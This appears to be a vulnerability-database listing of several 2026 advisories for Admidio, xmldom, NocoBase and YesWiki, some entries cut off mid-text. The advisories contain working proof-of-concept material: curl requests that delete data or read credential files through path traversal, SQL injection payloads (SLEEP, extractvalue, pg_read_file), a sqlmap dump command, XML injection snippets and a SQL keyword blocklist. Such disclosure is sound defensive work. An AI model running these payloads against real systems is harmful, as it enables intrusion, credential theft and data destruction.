filtered result set (user names and `recordsFiltered` count), an attacker can determine which users match any hidden field value. This defeats the administrator's intent in marking these fields as hidden. ## Recommended Fix Filter search columns by visibility before constructing the SQL search condition. Replace lines 118-126 with: ```php $searchColumns = array( 'COALESCE(last_name, \' \')', 'COALESCE(first_name, \' \')', ); $isAdmin = $gCurrentUser->isAdministratorUsers(); if ($gProfileFields->isVisible('BIRTHDAY', $isAdmin)) { $searchColumns[] = 'COALESCE(birthday, \' \')'; } if ($gProfileFields->isVisible('STREET', $isAdmin)) { $searchColumns[] = 'COALESCE(street, \' \')'; } if ($gProfileFiel | GCVE Database | ||
| Medium | 6.5 | Medium6.5GCVE DatabaseCVE-2026-41658 ## Summary The Admidio inventory module enforces authorization for destructive operations (delete, retire, reinstate) only in the UI layer by conditionally rendering buttons. The backend POST handlers at `modules/inventory.php` for `item_delete`, `item_retire`, `item_reinstate`, `item_picture_upload`, `item_picture_save`, and `item_picture_delete` perform CSRF validation but never check whether the requesting user is an inventory administrator. Any authenticated user who can access the inventory module can permanently delete any inventory item and all its associated data. ## Details The inventory module applies a module-level access control check at `modules/inventory.php:65-72` that determines whether a user can access the inventory module at all, based on the `inventory_module_enabled` setting. In the default configuration (value `2`), any logged-in user passes this check. The `item_delete` handler at lines 381-397 only validates the CSRF token: ```php // modules/inventory.php:381-397 case 'item_delete': // check the CSRF token of the form against the session token SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']); if (count($getItemUUIDs) > 0) { foreach ($getItemUUIDs as $itemUuid) { $itemService = new ItemService($gDb, $itemUuid); $itemService->delete(); } echo json_encode(array('status' => 'success', 'message' => $gL10n->get('SYS_INVENTORY_SELECTION_DELETED'))); } else { $itemService = new ItemService($gDb, $getiniUUID); $itemService->delete(); echo json_encode(array('status' => 'success', 'message' => $gL10n->get('SYS_INVENTORY_ITEM_DELETED'))); } break; ``` There is no call to `$gCurrentUser->isAdministratorInventory()` before executing the deletion. The service layer (`ItemService::delete()` at `src/Inventory/Service/ItemService.php:86-92`) and the data layer (`ItemsData::deleteItem()` at `src/Inventory/ValueObjects/ItemsData.php:1078-1095`) also contain no authorization checks — they directly execute `DELETE FROM` SQL statements on the item data, borrow data, and item tables. Meanwhile, the UI **does** check admin status before showing delete buttons: ```php // modules/inventory.php:306-309 (UI only) if ($gCurrentUser->isAdministratorInventory()) { $msg .= '<button id="adm_button_delete" ...>'; } ``` This creates a false sense of security — the button is hidden, but the endpoint is fully accessible. Item UUIDs needed for the attack are visible to all users who can view the inventory list. The same missing-authorization pattern affects: - `item_retire` (line 347) — soft-retires items without admin check - `item_reinstate` (line 364) — reinstates retired items without admin check - `item_picture_upload` (line 428) — uploads pictures without admin check - `item_picture_save` (line 445) — saves pictures without admin check - `item_picture_delete` (line 457) — deletes pictures without admin check ## PoC Prerequisites: An Admidio instance with the inventory module enabled (default setting `inventory_module_enabled=2`), two user accounts — one admin who created inventory items, and one regular user with no inventory admin rights. ```bash # Step 1: Log in as a regular (non-admin) user and get session cookie + CSRF token # The CSRF token is embedded in any page the user can access curl -c cookies.txt -b cookies.txt 'https://target/adm_program/modules/inventory.php?mode=item_list' # Step 2: Extract a target item UUID from the inventory list page # Item UUIDs are visible in the list view HTML to all users with module access # Step 3: Permanently delete the item (as a non-admin user) curl -X POST 'https://target/adm_program/modules/inventory.php?mode=item_delete&item_uuid=TARGET-ITEM-UUID' \ -H 'Cookie: PHPSESSID=regular_user_session' \ -d 'adm_csrf_token=EXTRACTED_CSRF_TOKEN' # Expected response: {"status":"success","message":"Item deleted"} # The item and all associated data (item fields, borrow records) are permanently deleted. # Step 4: Bulk deletion is also possible curl -X POST 'https://target/adm_program/modules/inventory.php?mode=item_delete&item_uuids[]=UUID1&item_uuids[]=UUID2&item_uuids[]=UUID3' \ -H 'Cookie: PHPSESSID=regular_user_session' \ -d 'adm_csrf_token=EXTRACTED_CSRF_TOKEN' ``` ## Impact - **Data destruction**: Any authenticated user can permanently delete any inventory item, including all associated field data and borrow records. There is no soft-delete or recycle bin — the SQL `DELETE FROM` statements are irreversible without database backups. - **Bulk deletion**: The endpoint accepts multiple item UUIDs, allowing an attacker to delete all inventory items in a single request. - **Additional unauthorized operations**: The same pattern allows non-admin users to retire/reinstate items and upload/modify/delete item pictures, undermining the entire inventory permission model. - **Blast radius**: In organizations using Admidio's inventory module to track physi | GCVE Database | ||
| Medium | 4.5 | Medium4.5GCVE DatabaseCVE-2026-41656 ## Summary The `add` mode in `modules/documents-files.php` accepts a `name` parameter validated only as `'string'` type (HTML encoding), allowing path traversal characters (`../`) to pass through unfiltered. Combined with the absence of CSRF protection on this endpoint and `SameSite=Lax` session cookies, a low-privileged attacker can trick a documents administrator into clicking a crafted link that registers an arbitrary server file (e.g., `install/config.php` containing database credentials) into a documents folder accessible to the attacker. ## Details **Root cause — incorrect input validation type (modules/documents-files.php:222):** ```php case 'add': $getName = admFuncVariableIsValid($_GET, 'name', 'string'); ``` The `'string'` type in `admFuncVariableIsValid()` only applies `SecurityUtils::encodeHTML(StringUtils::strStripTags($value))` (system/bootstrap/function.php:414-416). Since `../` contains no HTML special characters (`<`, `>`, `&`, `"`, `'`), path traversal sequences pass through unchanged. The correct type would be `'file'`, which calls `StringUtils::strIsValidFileName()` (src/Infrastructure/Utils/StringUtils.php:217-236). This function checks `basename($filename) !== $filename` at line 228, which would reject any path containing directory separators. **Missing CSRF protection (modules/documents-files.php:221-238):** ```php case 'add': $getName = admFuncVariableIsValid($_GET, 'name', 'string'); if (!$gCurrentUser->isAdministratorDocumentsFiles()) { throw new Exception('SYS_NO_RIGHTS'); } $folder = new Folder($gDb); $folder->readDataByUuid($getFolderUUID); $folder->addFolderOrFileToDatabase($getName); // ... ``` No `SecurityUtils::validateCsrfToken()` or form object validation. Compare with `folder_delete` (line 140) and `file_delete` (line 170) which both validate CSRF tokens. The `add` action operates entirely via GET parameters. **Unsafe path construction (src/Documents/Entity/Folder.php:121-135):** ```php public function addFolderOrFileToDatabase(string $newFolderFileName): void { $newFolderFileName = urldecode($newFolderFileName); $newObjectPath = $this->getFullFolderPath() . '/' . $newFolderFileName; // ... if (is_file($newObjectPath)) { $newFile = new File($this->db); $newFile->setValue('fil_fol_id', $folderId); $newFile->setValue('fil_name', $newFolderFileName); // traversal stored in DB // ... $newFile->save(); } } ``` No `realpath()` comparison or `basename()` check. The traversal filename (e.g., `../../../install/config.php`) is stored verbatim as `fil_name` in the database. **File served on download (src/Documents/Entity/File.php:88-91, src/Documents/Service/DocumentsService.php:68-119):** ```php // File.php:88-91 public function getFullFilePath(): string { return $this->getFullFolderPath() . '/' . $this->getValue('fil_name', 'database'); } // DocumentsService.php:75-118 $completePath = $file->getFullFilePath(); // reconstructs traversal path // ... readfile($completePath); // serves arbitrary file ``` **SameSite=Lax allows cross-site GET (src/Session/Entity/Session.php:544):** ```php 'samesite' => 'lax' ``` Top-level GET navigations from cross-site origins include the session cookie, enabling the CSRF attack vector. ## PoC **Prerequisites:** Attacker has a regular user account with access to the documents module. A documents administrator is available to be social-engineered. ```bash # Step 1: As regular user, browse the documents module to obtain a public folder UUID curl -b 'attacker_session' 'https://target.com/modules/documents-files.php?mode=list' # Note a folder_uuid from the response, e.g., "550e8400-e29b-41d4-a716-446655440000" # Step 2: Craft a link targeting install/config.php (adjust ../ depth for folder nesting) # For a folder at adm_my_files/documents/Photos/, use three levels: PAYLOAD_URL='https://target.com/modules/documents-files.php?mode=add&folder_uuid=550e8400-e29b-41d4-a716-446655440000&name=../../../install/config.php' # Step 3: Send this link to a documents administrator (email, chat, etc.) # When the admin clicks it, the server's install/config.php is registered in the Photos folder # The admin sees a redirect back to the documents page (normal behavior) # Step 4: As attacker, list the folder to find the new file entry curl -b 'attacker_session' 'https://target.com/modules/documents-files.php?mode=list&folder_uuid=550e8400-e29b-41d4-a716-446655440000' # The traversal file appears in the listing with its file_uuid # Step 5: Download the file using its UUID curl -b 'attacker_session' 'https://target.com/modules/documents-files.php?mode=download&file_uuid=<FILE_UUID>' # Response contains the contents of install/config.php, including: # $g_adm_srv (database host) # $g_adm_usr (database username) # $g_adm_pw (database password) # $g_adm_db (database name) ``` ## Impact - **Arbitrary server file read**: An attacker can read a | GCVE Database | ||
| High | 8.7 | High8.7GCVE DatabaseCVE-2026-41673 ## Summary Seven recursive traversals in `lib/dom.js` operate without a depth limit. A sufficiently deeply nested DOM tree causes a `RangeError: Maximum call stack size exceeded`, crashing the application. **Reported operations:** - `Node.prototype.normalize()` — reported by @praveen-kv (email 2026-04-05) and @KarimTantawey (GHSA-fwmp-8wwc-qhv6, via `DOMParser.parseFromString()`) - `XMLSerializer.serializeToString()` — reported by @Jvr2022 (GHSA-2v35-w6hq-6mfw) and @KarimTantawey (GHSA-j2hf-fqwf-rrjf) **Additionally, discovered in research:** - `Element.getElementsByTagName()` / `getElementsByTagNameNS()` / `getElementsByClassName()` / `getElementById()` - `Node.cloneNode(true)` - `Document.importNode(node, true)` - `node.textContent` (getter) - `Node.isEqualNode(other)` All seven share the same root cause: pure-JavaScript recursive tree traversal with no depth guard. A single deeply nested document (parsed successfully) triggers any or all of these operations. --- ## Details ### Root cause `lib/dom.js` implements DOM tree traversals as depth-first recursive functions. Each level of element nesting adds one JavaScript call frame. The JS engine's call stack is finite; once exhausted, a `RangeError: Maximum call stack size exceeded` is thrown. This error may not be caught reliably at stack-exhaustion depths because the catch handler itself requires stack frames to execute — especially in async scenarios, where an uncaught `RangeError` inside a callback or promise chain can crash the entire Node.js process. Parsing a deeply nested document **succeeds** — the SAX parser in `lib/sax.js` is iterative. The crash occurs during subsequent operations on the parsed DOM. ### `Node.prototype.normalize()` — reported by @praveen-kv [`lib/dom.js:1296–1308`](https://github.com/xmldom/xmldom/blob/9ef2fd297ca527a05ecb11979850317a927cd20c/lib/dom.js#L1296-L1308) (main): ```js normalize: function () { var child = this.firstChild; while (child) { var next = child.nextSibling; if (next && next.nodeType == TEXT_NODE && child.nodeType == TEXT_NODE) { this.removeChild(next); child.appendData(next.data); } else { child.normalize(); // recursive call — no depth guard child = next; } } }, ``` Crash threshold (Node.js 18, default stack): ~10,000 levels. ### `XMLSerializer.serializeToString()` — reported by @Jvr2022 [`lib/dom.js:2790–2974`](https://github.com/xmldom/xmldom/blob/9ef2fd297ca527a05ecb11979850317a927cd20c/lib/dom.js#L2790-L2974) (main): The internal `serializeToString` worker recurses into child nodes at four call sites, each passing a `visibleNamespaces.slice()` copy. The per-frame allocation causes earlier stack exhaustion than `normalize()`. Crash threshold (Node.js 18, default stack): ~5,000 levels. ### Additional recursive entry points All five crash at ~10,000 levels on Node.js 18. | Function | Definition | Public API entry point(s) | Crash depth (Node.js 18) | |-----------------------------|----------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------|--------------------------| | `_visitNode` | [`lib/dom.js:1529`](https://github.com/xmldom/xmldom/blob/9ef2fd297ca527a05ecb11979850317a927cd20c/lib/dom.js#L1529) | `getElementsByTagName()`, `getElementsByTagNameNS()`, `getElementsByClassName()`, `getElementById()` | ~10,000 levels | | `cloneNode` (module fn) | [`lib/dom.js:3037`](https://github.com/xmldom/xmldom/blob/9ef2fd297ca527a05ecb11979850317a927cd20c/lib/dom.js#L3037) | `Node.prototype.cloneNode(true)` | ~10,000 levels | | `importNode` (module fn) | [`lib/dom.js:2975`](https://github.com/xmldom/xmldom/blob/9ef2fd297ca527a05ecb11979850317a927cd20c/lib/dom.js#L2975) | `Document.prototype.importNode(node, true)` | ~10,000 levels | | `getTextContent` (inner fn) | [`lib/dom.js:3130`](https://github.com/xmldom/xmldom/blob/9ef2fd297ca527a05ecb11979850317a927cd20c/lib/dom.js#L3130) | `node.textContent` (getter) | ~10,000 levels | | `isEqualNode` | [`lib/dom.js:1120`](https://github.com/xmldom/xmldom/blob/9ef2fd297ca527a05ecb11979850317a927cd20c/lib/dom.js#L1120) | `Node.prototype.isEqualNode(other)` | ~10,000 levels | Both active branches (`main` and `release-0.8.x`) are identically affected. The unscoped `xmldom` | GCVE Database | ||
| High | 8.7 | CVE-2026-41674@xmldom/xmldom · xmldom has XML injection through unvalidated DocumentType serialization High8.7GCVE DatabaseCVE-2026-41674 ## Summary The package serializes `DocumentType` node fields (`internalSubset`, `publicId`, `systemId`) verbatim without any escaping or validation. When these fields are set programmatically to attacker-controlled strings, `XMLSerializer.serializeToString` can produce output where the DOCTYPE declaration is terminated early and arbitrary markup appears outside it. --- ## Details `DOMImplementation.createDocumentType(qualifiedName, publicId, systemId, internalSubset)` validates only `qualifiedName` against the XML QName production. The remaining three arguments are stored as-is with no validation. The XMLSerializer emits `DocumentType` nodes as: ``` <!DOCTYPE name[ PUBLIC pubid][ SYSTEM sysid][ [internalSubset]]> ``` All fields are pushed into the output buffer verbatim — no escaping, no quoting added. **`internalSubset` injection:** The serializer wraps `internalSubset` with ` [` and `]`. A value containing `]>` closes the internal subset and the DOCTYPE declaration at the injection point. Any content after `]>` in `internalSubset` appears outside the DOCTYPE in the serialized output as raw XML markup. Reported by @TharVid (GHSA-f6ww-3ggp-fr8h). Affected: `@xmldom/xmldom` ≥ 0.9.0 via `createDocumentType` API; 0.8.x only via direct property write. **`publicId` injection:** The serializer emits `publicId` verbatim after `PUBLIC` with no quoting added. A value containing an injected system identifier (e.g., `"pubid" SYSTEM "evil"`) breaks the intended quoting context, injecting a fake SYSTEM entry into the serialized DOCTYPE declaration. Identified during internal security research. Affected: both branches, all versions back to 0.1.0. **`systemId` injection:** The serializer emits `systemId` verbatim. A value containing `>` terminates the DOCTYPE declaration early; content after `>` appears as raw XML markup outside the DOCTYPE context. Identified during internal security research. Affected: both branches, all versions back to 0.1.0. The parse path is safe: the SAX parser enforces the `PubidLiteral` and `SystemLiteral` grammar productions, which exclude the relevant characters, and the internal subset parser only accepts a subset it can structurally validate. The vulnerability is reachable only through programmatic `createDocumentType` calls with attacker-controlled arguments. --- ## Affected code **`lib/dom.js` — `createDocumentType` (lines 898–910):** ```js createDocumentType: function (qualifiedName, publicId, systemId, internalSubset) { validateQualifiedName(qualifiedName); // only qualifiedName is validated var node = new DocumentType(PDC); node.name = qualifiedName; node.nodeName = qualifiedName; node.publicId = publicId || ''; // stored verbatim node.systemId = systemId || ''; // stored verbatim node.internalSubset = internalSubset || ''; // stored verbatim node.childNodes = new NodeList(); return node; }, ``` **`lib/dom.js` — serializer DOCTYPE case (lines 2948–2964):** ```js case DOCUMENT_TYPE_NODE: var pubid = node.publicId; var sysid = node.systemId; buf.push(g.DOCTYPE_DECL_START, ' ', node.name); if (pubid) { buf.push(' ', g.PUBLIC, ' ', pubid); if (sysid && sysid !== '.') { buf.push(' ', sysid); } } else if (sysid && sysid !== '.') { buf.push(' ', g.SYSTEM, ' ', sysid); } if (node.internalSubset) { buf.push(' [', node.internalSubset, ']'); // internalSubset emitted verbatim } buf.push('>'); return; ``` --- ## PoC ### internalSubset injection ```js const { DOMImplementation, XMLSerializer } = require('@xmldom/xmldom'); const impl = new DOMImplementation(); const doctype = impl.createDocumentType( 'root', '', '', ']><injected/><![CDATA[' ); const doc = impl.createDocument(null, 'root', doctype); const xml = new XMLSerializer().serializeToString(doc); console.log(xml); // <!DOCTYPE root []><injected/><![CDATA[]><root/> // ^^^^^^^^^^ injected element outside DOCTYPE ``` ### publicId quoting context break ```js const { DOMImplementation, XMLSerializer } = require('@xmldom/xmldom'); const impl = new DOMImplementation(); const doctype = impl.createDocumentType( 'root', '"injected PUBLIC_ID" SYSTEM "evil"', '', '' ); const doc = impl.createDocument(null, 'root', doctype); console.log(new XMLSerializer().serializeToString(doc)); // <!DOCTYPE root PUBLIC "injected PUBLIC_ID" SYSTEM "evil"><root/> // quoting context broken — SYSTEM entry injected ``` ### systemId injection ```js const { DOMImplementation, XMLSerializer } = require('@xmldom/xmldom'); const impl = new DOMImplementation(); const doctype = impl.createDocumentType( 'root', '', '"sysid"><injected attr="pwn"/>', '' ); const doc = impl.createDocument(null, 'root', doctype); console.log(new XMLSerializer().serializeToString(doc)); // <!DOCTYPE root SYSTEM "sysid"><injected attr="pwn"/>><root | GCVE Database | ||
| High | 8.7 | CVE-2026-41675@xmldom/xmldom · xmldom has XML node injection through unvalidated processing instruction serialization High8.7GCVE DatabaseCVE-2026-41675 ## Summary The package allows attacker-controlled processing instruction data to be serialized into XML without validating or neutralizing the PI-closing sequence `?>`. As a result, an attacker can terminate the processing instruction early and inject arbitrary XML nodes into the serialized output. --- ## Details The issue is in the DOM construction and serialization flow for processing instruction nodes. When `createProcessingInstruction(target, data)` is called, the supplied `data` string is stored directly on the node without validation. Later, when the document is serialized, the serializer writes PI nodes by concatenating `<?`, the target, a space, `node.data`, and `?>` directly. That behavior is unsafe because processing instructions are a syntax-sensitive context. The closing delimiter `?>` terminates the PI. If attacker-controlled input contains `?>`, the serializer does not preserve it as literal PI content. Instead, it emits output where the remainder of the payload is treated as live XML markup. The same class of vulnerability was previously addressed for CDATA sections (GHSA-wh4c-j3r5-mjhp / CVE-2026-34601), where `]]>` in CDATA data was handled by splitting. The serializer applies no equivalent protection to processing instruction data. --- ## Affected code **`lib/dom.js` — `createProcessingInstruction` (lines 2240–2246):** ```js createProcessingInstruction: function (target, data) { var node = new ProcessingInstruction(PDC); node.ownerDocument = this; node.childNodes = new NodeList(); node.nodeName = node.target = target; node.nodeValue = node.data = data; return node; }, ``` No validation is performed on `data`. Any string including `?>` is stored as-is. **`lib/dom.js` — serializer PI case (line 2966):** ```js case PROCESSING_INSTRUCTION_NODE: return buf.push('<?', node.target, ' ', node.data, '?>'); ``` `node.data` is emitted verbatim. If it contains `?>`, that sequence terminates the PI in the output stream and the remainder appears as active XML markup. **Contrast — CDATA (line 2945, patched):** ```js case CDATA_SECTION_NODE: return buf.push(g.CDATA_START, node.data.replace(/]]>/g, ']]]]><, which was subsequently closed without being merged. --- ## Fix Applied > **⚠ Opt-in required.** Protection is not automatic. Existing serialization calls remain > vulnerable unless `{ requireWellFormed: true }` is explicitly passed. Applications that pass > untrusted data to `createProcessingInstruction()` or mutate PI nodes with untrusted input > (via `.data =` or `CharacterData` mutation methods) should audit all `serializeToString()` > call sites and add the option. `XMLSerializer.serializeToString()` now accepts an options object as a second argument. When `{ requireWellFormed: true }` is passed, the serializer throws `InvalidStateError` before emitting any ProcessingInstruction node whose `.data` contains `?>`. This check applies regardless of how `?>` entered the node — whether via ` | GCVE Database | ||
| High | 8.7 | CVE-2026-41672@xmldom/xmldom · xmldom has XML node injection through unvalidated comment serialization High8.7GCVE DatabaseCVE-2026-41672 ## Summary The package allows attacker-controlled comment content to be serialized into XML without validating or neutralizing comment breaking sequences. As a result, an attacker can terminate the comment early and inject arbitrary XML nodes into the serialized output. --- ## Details The issue is in the DOM construction and serialization flow for comment nodes. When `createComment(data)` is called, the supplied string is stored as comment data through the generic character-data handling path. That content is kept as-is. Later, when the document is serialized, the serializer writes comment nodes by concatenating the XML comment delimiters with the stored `node.data` value directly. That behavior is unsafe because XML comments are a syntax-sensitive context. If attacker-controlled input contains a sequence that closes the comment, the serializer does not preserve it as literal comment text. Instead, it emits output where the remainder of the payload is treated as live XML markup. This is a real injection bug, not a formatting issue. The serializer already applies context-aware handling in other places, such as escaping text nodes and rewriting unsafe CDATA terminators. Comment content does not receive equivalent treatment. Because of that gap, untrusted data can break out of the comment boundary and modify the structure of the final XML document. --- ## PoC ```js const { DOMImplementation, DOMParser, XMLSerializer } = require('@xmldom/xmldom'); const doc = new DOMImplementation().createDocument(null, 'root', null); doc.documentElement.appendChild( doc.createComment('--><injected attr="1"/><!--') ); const xml = new XMLSerializer().serializeToString(doc); console.log(xml); // <root><!----><injected attr="1"/><!----></root> const reparsed = new DOMParser().parseFromString(xml, 'text/xml'); console.log(reparsed.documentElement.childNodes.item(1).nodeName); // injected ``` --- ## Impact An application that uses the package to build XML from untrusted input can be made to emit attacker-controlled elements outside the intended comment boundary. That allows the attacker to alter the meaning and structure of generated XML documents. In practice, this can affect any workflow that generates XML and then stores it, forwards it, signs it, or hands it to another parser. Realistic targets include XML-based configuration, policy documents, and message formats where downstream consumers trust the serialized structure. --- ## Disclosure This vulnerability was publicly disclosed at 2026-04-06T11:25:07Z via [xmldom/xmldom#987](https://github.com/xmldom/xmldom/pull/987), which was subsequently closed without being merged. --- ## Fix Applied > **⚠ Opt-in required.** Protection is not automatic. Existing serialization calls remain > vulnerable unless `{ requireWellFormed: true }` is explicitly passed. Applications that pass > untrusted data to `createComment()` or mutate comment nodes with untrusted input (via > `appendData`, `insertData`, `replaceData`, `.data =`, or `.textContent =`) should audit all > `serializeToString()` call sites and add the option. `XMLSerializer.serializeToString()` now accepts an options object as a second argument. When `{ requireWellFormed: true }` is passed, the serializer throws `InvalidStateError` before emitting a Comment node whose `.data` would produce malformed XML. On `@xmldom/xmldom` ≥ 0.9.10, the full W3C DOM Parsing §3.2.1.4 check is applied: throws if `.data` contains `--` anywhere, ends with `-`, or contains characters outside the XML Char production. On `@xmldom/xmldom` ≥ 0.8.13 (LTS), only the `-->` injection sequence is checked. The `0.8.x` SAX parser accepts comments containing `--` (without `>`), so throwing on bare `--` would break a previously-working round-trip on that branch. The `-->` check is sufficient to prevent injection. ### PoC — fixed path ```js const { DOMImplementation, XMLSerializer } = require('@xmldom/xmldom'); const doc = new DOMImplementation().createDocument(null, 'root', null); doc.documentElement.appendChild(doc.createComment('--><injected attr="1"/><!--')); // Default (unchanged): verbatim — injection present const unsafe = new XMLSerializer().serializeToString(doc); console.log(unsafe); // <root><!----><injected attr="1"/><!----></root> // Opt-in guard: throws InvalidStateError before serializing try { new XMLSerializer().serializeToString(doc, { requireWellFormed: true }); } catch (e) { console.log(e.name, e.message); // InvalidStateError: The comment node data contains "--" or ends with "-" (0.9.x) // InvalidStateError: The comment node data contains "-->" (0.8.x — only --> is checked) } ``` ### Why the default stays verbatim The W3C DOM Parsing and Serialization spec §3.2.1.4 defines a `require well-formed` flag whose **default value is `false`**. With the flag unset, the spec explicitly permits serializing ill-formed comment content verbatim — this is also the behavior of browser implementations (Chrome, Firefox | GCVE Database | ||
| High | 7.2 | CVE-2026-41641@nocobase/plugin-collection-sql · SQL Validation Bypass Through Missing `checkSQL` Call High7.2GCVE DatabaseCVE-2026-41641 ## Summary The `checkSQL()` validation function that blocks dangerous SQL keywords (e.g., `pg_read_file`, `LOAD_FILE`, `dblink`) is applied on the `collections:create` and `sqlCollection:execute` endpoints but is entirely missing on the `sqlCollection:update` endpoint. An attacker with collection management permissions can create a SQL collection with benign SQL, then update it with arbitrary SQL that bypasses all validation, and query the collection to execute the injected SQL and exfiltrate data. **Affected component:** `@nocobase/plugin-collection-sql` **Affected versions:** <= 2.0.32 (confirmed) **Minimum privilege:** Collection management permissions (`pm.data-source-manager.collection-sql` snippet) ## Vulnerable Code ### `checkSQL` is applied on create and execute `packages/plugins/@nocobase/plugin-collection-sql/src/server/resources/sql.ts` ```javascript // Line 51-60 — execute action: checkSQL IS called execute: async (ctx: Context, next: Next) => { const { sql } = ctx.action.params.values || {}; try { checkSQL(sql); } catch (e) { ctx.throw(400, ctx.t(e.message)); } // ... } ``` ### `checkSQL` is NOT applied on update ```javascript // Line 105-118 — update action: checkSQL IS NOT called update: async (ctx: Context, next: Next) => { const transaction = await ctx.app.db.sequelize.transaction(); try { const { upRes } = await updateCollection(ctx, transaction); // No checkSQL() call anywhere in this path! const [collection] = upRes; await collection.load({ transaction, resetFields: true }); await transaction.commit(); } // ... } ``` ### The `checkSQL` function itself `packages/plugins/@nocobase/plugin-collection-sql/src/server/utils.ts:10-28` ```javascript export const checkSQL = (sql: string) => { const dangerKeywords = [ 'pg_read_file', 'pg_write_file', 'pg_ls_dir', 'LOAD_FILE', 'INTO OUTFILE', 'INTO DUMPFILE', 'dblink', 'lo_import', // ... ]; sql = sql.trim().split(';').shift(); if (!/^select/i.test(sql) && !/^with([\s\S]+)select([\s\S]+)/i.test(sql)) { throw new Error('Only supports SELECT statements or WITH clauses'); } if (dangerKeywords.some((keyword) => sql.toLowerCase().includes(keyword.toLowerCase()))) { throw new Error('SQL statements contain dangerous keywords'); } }; ``` ## PoC ```bash TOKEN="<admin_jwt_token>" # Step 1: Create collection with valid SQL (passes checkSQL) curl -s http://TARGET:13000/api/collections:create \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{ "name": "exfil_collection", "sql": "SELECT 1 as id", "fields": [{"name": "id", "type": "integer"}], "template": "sql" }' # Step 2: Verify checkSQL blocks dangerous SQL on create curl -s http://TARGET:13000/api/collections:create \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{"name": "blocked", "sql": "SELECT pg_read_file('\''/etc/passwd'\'')", "fields": [], "template": "sql"}' # Returns: 400 "SQL statements contain dangerous keywords" # Step 3: Update with dangerous SQL — bypasses checkSQL entirely curl -s "http://TARGET:13000/api/sqlCollection:update?filterByTk=exfil_collection" \ -X POST \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{ "sql": "SELECT * FROM users", "fields": [ {"name": "id", "type": "integer"}, {"name": "email", "type": "string"}, {"name": "password", "type": "string"} ] }' # Returns: 200 OK — no validation! # Step 4: Query the collection to exfiltrate data curl -s "http://TARGET:13000/api/exfil_collection:list" \ -H "Authorization: Bearer $TOKEN" # Returns: all rows from users table including password hashes ``` ## Impact - **Confidentiality:** Arbitrary `SELECT` queries exfiltrate any table. Confirmed dump of the `users` table including password hashes. - **Integrity/Availability:** Although `checkSQL` strips after the first semicolon, dangerous single-statement operations like `SELECT ... INTO`, subqueries with side effects, or database-specific functions (`pg_read_file`, `LOAD_FILE`, `dblink`) are all accessible through the update bypass. - **Privilege escalation:** On PostgreSQL, `dblink` enables lateral movement to other databases. `pg_read_file` reads arbitrary files from the database server filesystem. ## Fix Suggestion 1. **Add `checkSQL()` to the `update` action.** The one-line fix: ```javascript update: async (ctx: Context, next: Next) => { const { sql } = ctx.action.params.values || {}; if (sql) { try { checkSQL(sql); } catch (e) { ctx.throw(400, ctx.t(e.message)); } } // ... existing code ... } ``` 2. **Centralize validation in middleware** rather than per-action. Apply `checkSQL` in the resource middleware for any action that accepts a `sql` field, so future actions cannot accidentally skip it. 3. **Strengthen the blocklist.** The current list is missing ` | GCVE Database | ||
| High | 8.8 | CVE-2026-41143yeswiki/yeswiki · YesWiki vulnerable to authenticated SQL Injection via id_fiche in EntryManager::formatDataBeforeSave() High8.8GCVE DatabaseCVE-2026-41143 ## Vulnerability Details YesWiki bazar module contains a SQL injection vulnerability in `tools/bazar/services/EntryManager.php` at line 704. The `$data['id_fiche']` value (sourced from `$_POST['id_fiche']`) is concatenated directly into a raw SQL query without any sanitization or parameterization. **Vulnerable Code (EntryManager.php:704):** ```php $result = $this->dbService->loadSingle( 'SELECT MIN(time) as firsttime FROM ' . $this->dbService->prefixTable('pages') . "WHERE tag='" . $data['id_fiche'] . "'" ); ``` **Attack Path:** 1. Attacker authenticates as any user (route requires `acl:{"+"}`) 2. POST `/api/entries/{formId}` with `id_fiche=' OR SLEEP(3) OR '` 3. `ApiController::createEntry()` checks `isEntry($_POST['id_fiche'])` → false (not existing entry) → calls `create()` 4. `create()` → `formatDataBeforeSave()` → SQL injection at line 704 **`dbService->loadSingle()` passes raw string to `mysqli_query()` with no escaping. The `escape()` method exists but is NOT called here.** **Docker PoC confirmation:** - Normal query: `SELECT MIN(time) as firsttime FROM wiki_pages WHERE tag='TestEntry'` → `2024-01-01 00:00:00` - Injected: `WHERE tag='' OR SLEEP(3) OR ''` → **elapsed: 3.00s (SLEEP confirmed)** - Time-based blind SQLi enables full database dump via binary search ## Steps to Reproduce **Prerequisites:** Any authenticated user account on a YesWiki instance with a bazar form (id_typeannonce) created. **Step 1 – Obtain session cookie** (standard login via web UI or API) **Step 2 – Time-based blind SQLi (confirm vulnerability):** ```bash curl -s -X POST 'http://TARGET/?api/entries/1' \ -H 'Cookie: wikini_session=<SESSION>' \ -d "antispam=1&bf_titre=TestTitle&id_fiche=' OR SLEEP(3) OR '" ``` → Response delays ~3 seconds confirming SQL injection. **Step 3 – Error-based SQLi (version exfil):** ```bash curl -s -X POST 'http://TARGET/?api/entries/1' \ -H 'Cookie: wikini_session=<SESSION>' \ -d "antispam=1&bf_titre=TestTitle&id_fiche=' AND extractvalue(1,concat(0x7e,@@version))-- -" ``` → Returns MySQL version in XPATH error: `XPATH syntax error: '~8.4.8'` **Step 4 – Full dump via sqlmap:** ```bash sqlmap -u 'http://TARGET/?api/entries/1' \ --data "antispam=1&bf_titre=T&id_fiche=test" \ -p id_fiche --cookie "wikini_session=<SESSION>" \ --dbms=MySQL --technique=BET --level=2 ``` ## Docker PoC Output (confirmed) ``` [STEP 1] Normal input: Result (2024-01-01 00:00:00) [STEP 2] id_fiche=' OR SLEEP(3) OR ' → Elapsed: 3.00s ← SLEEP(3) CONFIRMED [STEP 3] id_fiche=' AND extractvalue(1,concat(0x7e,@@version))-- - DB_ERROR: (1105, "XPATH syntax error: '~8.4.8'") ``` ## Root Cause In `tools/bazar/services/EntryManager.php` line 704: ```php $result = $this->dbService->loadSingle( 'SELECT MIN(time) as firsttime FROM ' . $this->dbService->prefixTable('pages') . "WHERE tag='" . $data['id_fiche'] . "'" ); ``` `$data['id_fiche']` comes from `$_POST['id_fiche']` (user input). `DbService::escape()` exists but is **not called** here. `loadSingle()` passes the raw string directly to `mysqli_query()`. ## Proposed Fix Replace the vulnerable line with parameterized query or call `$this->dbService->escape()`: ```php $tag = $this->dbService->escape($data['id_fiche']); $result = $this->dbService->loadSingle( 'SELECT MIN(time) as firsttime FROM ' . $this->dbService->prefixTable('pages') . "WHERE tag='" . $tag . "'" ); ``` ## PoC Screenshot  | GCVE Database | ||
